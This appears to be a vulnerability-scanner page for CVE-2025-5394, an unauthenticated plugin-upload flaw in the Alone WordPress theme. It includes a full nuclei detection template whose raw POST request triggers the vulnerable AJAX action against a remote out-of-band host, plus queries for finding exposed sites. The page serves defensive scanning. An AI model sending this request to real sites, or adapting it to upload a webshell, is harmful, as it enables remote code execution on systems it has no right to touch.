CVE-2025-5394
Unauthenticated Arbitrary Plugin Upload in Alone Theme
criticalseverity
53.2%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.
Impact
This makes it possible for unauthenticated attackers to upload zip files containing webshells disguised as plugins from remote locations to achieve remote code execution.
Fix
Fixed in 7.8.5.
How to confirm it
Send: POST /wp-admin/admin-ajax.php
Positive when: contains_all(body, '\"success\":true','\"substep\":\"activate\"') and contains(content_type, 'application/json') and status_code == 200Run it with nuclei: nuclei -id CVE-2025-5394 -u <target>
The full check
id: CVE-2025-5394
info:
name: Unauthenticated Arbitrary Plugin Upload in Alone Theme
author: Nxploited,DhiyaneshDK
severity: critical
description: |
The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.
impact: |
This makes it possible for unauthenticated attackers to upload zip files containing webshells disguised as plugins from remote locations to achieve remote code execution.
remediation: Fixed in 7.8.5.
reference:
- https://github.com/Nxploited/CVE-2025-5394/tree/main
- https://x.com/cloudflare/status/1951319364856058035?s=46
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/themes/alone/"
fofa-query: body="/wp-content/themes/alone/"
tags: cve,cve2025,unauth,file-upload,rce,vkev,vuln
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=beplus_import_pack_install_plugin&data%5Bplugin_slug%5D=&data%5Bplugin_source%5D=https%3a%2f%2f{{interactsh-url}}%2fplugin%2f%7b%7b{{randstr}}%7d%7d.zip
# No plugin is uploaded or updated; just sending interactsh-url with randstr.
skip-variables-check: true
matchers:
- type: dsl
dsl:
- contains_all(body, '\"success\":true','\"substep\":\"activate\"')
- contains(content_type, 'application/json')
- status_code == 200
condition: andReferences
- https://github.com/Nxploited/CVE-2025-5394/tree/main
- https://x.com/cloudflare/status/1951319364856058035?s=46
Use this check only on systems you are authorised to test. Where the data comes from